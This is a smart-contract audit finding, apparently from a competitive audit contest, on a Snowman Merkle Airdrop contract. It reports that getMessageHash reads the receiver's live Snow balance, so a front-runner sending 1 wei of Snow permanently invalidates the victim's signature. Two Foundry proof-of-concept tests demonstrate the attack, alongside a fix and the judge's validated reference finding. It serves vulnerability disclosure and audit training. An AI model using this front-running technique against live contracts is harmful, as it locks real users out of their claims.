Snowman Merkle Airdrop
AI First Flight #10
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EXP
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Submission Details
Severity: medium
Valid

`getMessageHash` dynamically reads `balanceOf` — attacker can DoS by sending Snow

aiada

Description

  • Normal: Signature should bind to fixed parameters. Post-signature state changes shouldn't invalidate it.

  • Bug: getMessageHash(receiver) dynamically reads i_snow.balanceOf(receiver) for the amount field. An attacker can front-run claimSnowman by sending a small amount of Snow to the receiver, changing the balance → digest changes → signature invalidated.

function getMessageHash(address receiver) public view returns (bytes32) {
uint256 amount = i_snow.balanceOf(receiver); // @> Dynamic — manipulatable post-signature!
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);
}

Attack chain:

  1. Alice has 1 wei Snow → signs (amount=1 in digest)

  2. Bob earns free Snow via earnSnow()

  3. Bob front-runs: transfer(alice, 1) before Alice's claim

  4. Alice balance = 2 → different digest → signature permanently invalid

Risk

  • Likelihood: Medium — attacker gets free Snow weekly via earnSnow

  • Impact: HIGH — victim permanently cannot claim NFT

Proof of Concept

function testMissedM01_DoSByFrontRunningSnowTransfer() public {
// Alice signs for amount=1
bytes32 digest1 = freshAirdrop.getMessageHash(aliceAddr);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePrivKey, digest1);
​
// Bob front-runs: sends 1 Snow to Alice
vm.prank(bob); snow.earnSnow();
vm.prank(bob); snow.transfer(aliceAddr, 1);
assertEq(snow.balanceOf(aliceAddr), 2); // Balance changed!
​
bytes32 newDigest = freshAirdrop.getMessageHash(aliceAddr);
assertFalse(digest1 == newDigest); // Different digest
vm.expectRevert();
freshAirdrop.claimSnowman(aliceAddr, proof, v, r, s);
}

Run with: forge test --match-contract SnowmanPoC --match-test testMissedM01 -vvv

Recommended Mitigation

Pass amount as a parameter instead of reading dynamically:

function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, ...)
external nonReentrant {
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
// amount fixed at signing time, immune to balance changes
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 18 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] DoS to a user trying to claim a Snowman

# Root + Impact ## Description * Users will approve a specific amount of Snow to the SnowmanAirdrop and also sign a message with their address and that same amount, in order to be able to claim the NFT * Because the current amount of Snow owned by the user is used in the verification, an attacker could forcefully send Snow to the receiver in a front-running attack, to prevent the receiver from claiming the NFT.  ```Solidity function getMessageHash(address receiver) public view returns (bytes32) { ... // @audit HIGH An attacker could send 1 wei of Snow token to the receiver and invalidate the signature, causing the receiver to never be able to claim their Snowman uint256 amount = i_snow.balanceOf(receiver); return _hashTypedDataV4( keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount}))) ); ``` ## Risk **Likelihood**: * The attacker must purchase Snow and forcefully send it to the receiver in a front-running attack, so the likelihood is Medium **Impact**: * The impact is High as it could lock out the receiver from claiming forever ## Proof of Concept The attack consists on Bob sending an extra Snow token to Alice before Satoshi claims the NFT on behalf of Alice. To showcase the risk, the extra Snow is earned for free by Bob. ```Solidity function testDoSClaimSnowman() public { assert(snow.balanceOf(alice) == 1); // Get alice's digest while the amount is still 1 bytes32 alDigest = airdrop.getMessageHash(alice); // alice signs a message (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest); vm.startPrank(bob); vm.warp(block.timestamp + 1 weeks); snow.earnSnow(); assert(snow.balanceOf(bob) == 2); snow.transfer(alice, 1); // Alice claim test assert(snow.balanceOf(alice) == 2); vm.startPrank(alice); snow.approve(address(airdrop), 1); // satoshi calls claims on behalf of alice using her signed message vm.startPrank(satoshi); vm.expectRevert(); airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS); } ``` ## Recommended Mitigation Include the amount to be claimed in both `getMessageHash` and `claimSnowman` instead of reading it from the Snow contract. Showing only the new code in the section below ```Python function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { ... bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); } // @audit LOW Seems like using the ERC20 permit here would allow for both the delegation of the claim and the transfer of the Snow tokens in one transaction i_snow.safeTransferFrom(receiver, address(this), amount); // send ... } ```

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